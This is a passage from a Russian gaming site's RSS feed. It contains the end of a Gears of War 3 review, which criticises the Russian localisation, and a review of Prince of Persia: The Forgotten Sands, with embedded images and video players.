них, кому позволяют массогабаритные характеристики, и вовсе не стремятся геройски погибнуть под вашими пулями. Встретятся также несколько больших «боссов», с виду грозных, но на удар слабых — их уничтожение не доставит особенных проблем.&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG11--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/26678150.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s26678150.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG11--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Вот он, берсерк Саранчи. Зверушка, как в том анекдоте, совершенно слепая, но если уж кого нащупает…&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;В игре вы путешествуете не один: почти всегда рядом с вами будут несколько верных соратников, которые и пострелять могут, и подлечить готовы, и по душам поболтать не прочь. Характеры и внешность спутников весьма шаблонны и полярны по отношению друг к другу, но благодаря этому они выглядят ярко и рельефно, наблюдается даже некоторая претензия на индивидуальность внутри игры. Конечно, старый полковник в кепке и престарелый «ковбой» в шляпе — персонажи, мягко говоря, растиражированные, но в общую простенькую канву сюжета они укладываются отлично. Разве что их весьма героические пропорции явно вступают в противоречие с наличествующей по сюжету нехваткой пищи — кушают они, судя по всему, вполне исправно, не забывая про стероиды.&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&amp;nbsp; &lt;!--IMG13--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/04195179.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s04195179.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG13--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Люди не пройдут!!!&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Мультиплеерная часть, с другими игроками или, по желанию, с ботами, в игре представлена во всей красе. Помимо кооперативного прохождения сюжетной части, можно побегать в несколько видов deathmatch’а, поиграть в захват лидера противоборствующей команды, в оккупацию «точек интереса», представленных абстрактными кольцами, а также насладиться режимами «Орда» и «Зверь». Первый из них предложит вам побыть в осадном положении, выпуская по очереди до пятидесяти волн противников, за уничтожение которых платятся полновесные деньги. В ходе коротких передышек эти деньги можно потратить на строительство укреплений, ложных мишеней, оружие и патроны. Режим «Зверь» предложит вам побывать с другой стороны, натянув на себя шкурку одной из тварей Саранчи и отомстив за все ненавистным людишкам, исправное убийство которых открывает доступ ко все новым и новым уродцам.&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG14--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/45027686.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s45027686.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG14--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Броненосец железный. Редкий вид большой вредности.&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Броненосец железный. Редкий вид большой вредности.&lt;br&gt;&lt;br&gt;Графика игры оставляет приятное впечатление. Люди выглядят и двигаются относительно реалистично, монстры достаточно уродливы и, если отнять у персонажа оружие и друзей, вполне могли бы превратить игру из боевика в хоррор. Огонь, взрывы, кровь, брызжущая на камеру из разорванных артерий — все на уровне. Конечно, от «консольной» размытости текстур никуда не деться, но она заметна лишь при рассмотрении с близкого расстояния и в глаза не бросается. Порадовала и звуковая часть, сдабривающая атмосферу игры добротными взрывами, утробным рыком и ненавязчивыми композициями. А в титрах играет даже весьма задорная песенка в стиле тяжелого рока, написанная, судя по ее тексту, специально для игры.&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG15--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/67633716.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s67633716.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG15--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Рыбалка в мире Gears of War 3 иногда может принести неожиданный улов.&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;На территории России игра издается с русскими субтитрами. На локализации хотелось бы остановиться отдельно и вовсе не из-за восхищения оной. Помните фразу из бессмертного кинофильма «Иван Васильевич меняет профессию»: «…был у нас толмач … мы его в кипятке и сварили!..». Похоже, именно так издатель обошелся с переводчиком (или переводчиками) на великий и могучий. Перевод выглядит так, как будто выполнялся электронным переводчиком, и лишь слегка после этого был подретуширован кем-то, имеющим весьма слабое отношение как к переводам в общем, так и к игре в частности. Множество откровенно ошибочно переведенных фраз, путаница с полами персонажей и в терминологии.&lt;br&gt;&lt;br&gt;Самым веселым является, пожалуй, перевод расхожего выкрика «fire in the hole», сопровождающего для американских солдат бросок гранаты или подрыв мины в замкнутом пространстве: здесь он переведен как «огонь по дыре». Забавно, не правда ли? С учетом того, что у одного (только у одного) из персонажей этот клич все же переведен более или менее правильно (а именно — «сейчас рванет»), то напрашивается вывод о работе нескольких, явно никоим образом не связанных друг с другом, переводчиках. Хотелось бы задать вопрос издателю: стоило ли так рьяно бороться с «пиратскими» переводами только для того, чтобы самим переводить ничуть не лучше? Понятно, что борьба эта за рынок, но ведь и о качестве забывать не стоило бы.&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG16--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/68350427.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s68350427.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG16--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Кто кого?&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Что же мы имеем в результате? А в результате у нас есть весьма достойный боевичок, способный занять несколько вечеров одинокого игромана или не один месяц игромана общительного, все-таки игра позиционирована явно на мультиплеер. Бойкий игровой процесс идет этому продукту в плюс, невнятный и не слишком интересный сюжет — в минус, хотя поклонники серии наверняка порадуются долгожданному финалу. Эта игра вполне стоит того, чтобы потратить на нее свои кровные, но вряд ли она запомнится на долгие годы. И да, играть в нее лучше на языке оригинала. Так оно будет и понятнее, и приятнее.&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;div align=&quot;center&quot;&gt;&lt;iframe width=&quot;490&quot; height=&quot;260&quot; src=&quot;http://www.youtube.com/embed/n7Te5fcnrUA&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;</content:encoded>
			<link>https://igroman.ucoz.net/news/obzor_igry_gears_of_war_3/2012-01-15-39</link>
			<dc:creator>SWAT</dc:creator>
			<guid>https://igroman.ucoz.net/news/obzor_igry_gears_of_war_3/2012-01-15-39</guid>
			<pubDate>Sun, 15 Jan 2012 14:27:51 GMT</pubDate>
		</item>
		<item>
			<title>Prince of Persia: Забытые пески: Видеообзор (PS3)</title>
			<description>&lt;object type=&quot;application/x-shockwave-flash&quot; data=&quot;http://video.uguru.ru/uppod.swf&quot; width=&quot;490&quot; height=&quot;350&quot;&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;param name=&quot;allowScriptAccess&quot; value=&quot;always&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://video.uguru.ru/uppod.swf&quot;&gt;&lt;param name=&quot;FlashVars&quot; value=&quot;m=video&amp;amp;file=c:2iob3gRLvck7kdwLvIwIGf9zvI9zv1nVtQAMtgUMtgoXtQDMt1hX3i9705y4fck7kdwLv5Fa2SJa2xo40NmR3Sm50iUr&amp;amp;redirect=c:2iob3gRLvaGh0xwIGf9zvI9z&amp;amp;poster=c:2iob3gRLvck7kdwLvIwIGf9zvI9zv1nVtQAMtgUMtgoXtQDMt1hX3i9705y4fck7kdwLv5Fa2SJV35wa2xwcv57VkVrr&amp;amp;st=c:2iob3gRLvck7kdwLvIwIGf9zvI9zvcyb6xW43Nmb6iTr&quot;&gt;&lt;/object&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Как вы могли убедиться, прочитав на нашем сайте &lt;a href=&quot;http://igroman.ucoz.net/index/princemanija_istorija_serii_prince_of_persia/0-19&quot; target=&quot;null&quot;&gt;&lt;font color=&quot;#ff0000&quot;&gt;«Историю принца персии»&lt;/font&gt;&lt;/a&gt;, этот сериал существует давно, а кардинальным образом меняется с завидной регулярностью. Сегодня на дворе 2010 год, а сериал вновь основательно перетряхив...</description>
			<content:encoded>&lt;object type=&quot;application/x-shockwave-flash&quot; data=&quot;http://video.uguru.ru/uppod.swf&quot; width=&quot;490&quot; height=&quot;350&quot;&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;param name=&quot;allowScriptAccess&quot; value=&quot;always&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://video.uguru.ru/uppod.swf&quot;&gt;&lt;param name=&quot;FlashVars&quot; value=&quot;m=video&amp;amp;file=c:2iob3gRLvck7kdwLvIwIGf9zvI9zv1nVtQAMtgUMtgoXtQDMt1hX3i9705y4fck7kdwLv5Fa2SJa2xo40NmR3Sm50iUr&amp;amp;redirect=c:2iob3gRLvaGh0xwIGf9zvI9z&amp;amp;poster=c:2iob3gRLvck7kdwLvIwIGf9zvI9zv1nVtQAMtgUMtgoXtQDMt1hX3i9705y4fck7kdwLv5Fa2SJV35wa2xwcv57VkVrr&amp;amp;st=c:2iob3gRLvck7kdwLvIwIGf9zvI9zvcyb6xW43Nmb6iTr&quot;&gt;&lt;/object&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Как вы могли убедиться, прочитав на нашем сайте &lt;a href=&quot;http://igroman.ucoz.net/index/princemanija_istorija_serii_prince_of_persia/0-19&quot; target=&quot;null&quot;&gt;&lt;font color=&quot;#ff0000&quot;&gt;«Историю принца персии»&lt;/font&gt;&lt;/a&gt;, этот сериал существует давно, а кардинальным образом меняется с завидной регулярностью. Сегодня на дворе 2010 год, а сериал вновь основательно перетряхивают. Например, только что вышел фильм «Принц Персии», картина, спор нет, отличная, только вот принц там какой-то Дастан, да и не сильно он похож на того Принца, которого мы знаем. А тут еще и игра подоспела Prince of Persia: The Forgotten Sands, где Принц снова другой. И на Брукхаймеровского не похож, и от прошлых образов отличается. Обидно? Да нет, пожалуй. Ведь давно известно, что «Принц Персии» это как Джеймс Бонд, все время разный, и разве что приключения у него одинаковые.&amp;nbsp;&lt;br&gt;&lt;br&gt;Сразу нужно предупредить, что The Forgotten Sands - это не игра по мотивам фильма, а своего рода приквел к Prince of Persia: Warrior Within. История разворачивается за несколько лет до тех драматических событий, а начинается все с того, что Принц скачет к брату Малику, чтобы научится военному делу. Оказавшись на месте, он видит, что братец с войском отчаянно отбивается от атак иноземных захватчиков, так что стало как-то сразу не до уроков. Понимая, что поражение неизбежно, Малик использует могучий артефакт, чтобы призвать на помощь армию Соломона, что, понятное дело, вызывает очередной апокалипсис. Армия-то появилась, но несколько другая - лютые песочные твари вырвались на свободу, обратили в камень всех, кроме принца и его брата, и пошли разрушать все, что можно. Собственно нашего героя оперативно находит девушка- джин, наделяет его волшебной силой и отправляет запечатывать врата обратно. На словах просто, но дело осложняется тем, что брат принца съезжает с катушек от жажды власти, а на свободе оказался еще и жуткий демон, которого тоже неплохо бы угомонить.&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/34780169.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s34780169.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;/p&gt;&lt;p&gt;До выхода игры почему-то ходили слухи, что в The Forgotten Sands не будет возможности отматывать время, но мы спешим успокоить - все фирменные приемы на месте. Вообще говоря, игра вызывает странное впечатление. С одной стороны заметно, что игру спешно собирали к премьере фильма, так что торопились, но итог все равно более чем удовлетворительный. Это, правда, не удивительно, ведь разработчики уже сделали не одну паркур-игру, обкатали движок и набили руку в создании «гимнастических так сказать уровней, что у них дел осталось немного - просто толково собрать все наработки в иной обертке. Так и вышло. Здесь очень мало нового, но привычная схема работает как часы. На пути к победе принц скачет через пропасти, бегает по стенам, перепрыгивает многочисленные ловушки. Все у него получается легко и просто, а никаких зубодробительно сложных мест нет. Если же все-таки прыжок получился неудачный, то всегда на помощь придет перемотка времени. &lt;br&gt;&lt;br&gt;Чтобы все-таки разнообразить привычный паркур разработчики добавили несколько новых возможностей. Во-первых, к середине игры принц научится замораживать воду, создавая, таким образом, новые места для акробатики. Причем некоторые полосы препятствий, связанные как раз с водой заставляют попотеть. Во-вторых, у принца появилось умение совершать гигантский прыжок через пропасть прямо к врагам, что тоже несколько разнообразило игру. Скакать и бегать по-прежнему увлекательно, но не оригинально.&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;!--IMG2--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/12328127.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s12328127.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Другая сторона игры - сражения, и вот тут создатели явно работали спустя рукава. По сути дела схватка строится только на одном ударе мечом, плюс можно врага пинать, и добивать, если он упал. Кроме того, принц умеет делать простенькие комбинации - если злодея пнуть, а потом быстро ударить клинком, то герой совершить красивый добивающий удар. Также на «песочников» можно запрыгивать, разрубая их к чертям, ну и, наконец, интересно сделано взаимодействие с окружающей обстановкой. Например, противников можно бить о стены или забрасывать в пропасти. Правда, красочный прием делается автоматическим образом, по желанию виртуального «принца», что обидно. Но схватки не то чтобы разнообразные, зато врагов много. Тут обычное дело схватится с парой десяткой злодеев. &lt;br&gt;&lt;br&gt;Другая новинка - прокачка персонажа. За уничтожение зомби принц получает специальные сферы опыта, а набрав уровень можно что-нибудь развить. Увеличить здоровье, силу удара, а главное, получить доступ к магическим умениям. Их всего четыре штуки, но он полезные и не раз спасут в драке.&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;!--IMG3--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/14234732.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s14234732.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG3--&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Графика в The Forgotten Sands, как всегда у Ubisoft, симпатичная, анимация восхищает, но все это давно использованные козыри разработчиков. Хотя игра получилась неплохой и увлекательной, до самого конца не покидает ощущение, что нового «принца» собирали на коленке, банально используя старые наработки из предыдущих игр студии. Здесь не получаешь нового игрового опыта, а развлечения с заморозкой воды не бог весть какое открытие. Чтобы там не говорили разработчики, проект явно готовился к выходу вместе с фильмом. И, слава богу, что у руля были Ubisoft. Там где другой разработчик соорудил бы кособокую поделку, они, используя обкатанные приемы, сделали хорошую игру. Не прорыв, не революция, но пару приятных вечеров в компании с The Forgotten Sands обеспечены.&lt;/p&gt;</content:encoded>
			<link>https://igroman.ucoz.net/news/prince_of_persia_zabytye_peski_videoobzor_ps3/2010-06-07-31</link>
			<dc:creator>SWAT</dc:creator>
			<guid>https://igroman.ucoz.net/news/prince_of_persia_zabytye_peski_videoobzor_ps3/2010-06-07-31</guid>
			<pubDate>Mon, 07 Jun 2010 13:54:10 GMT</pubDate>
		</item>
	</channel>
</rss>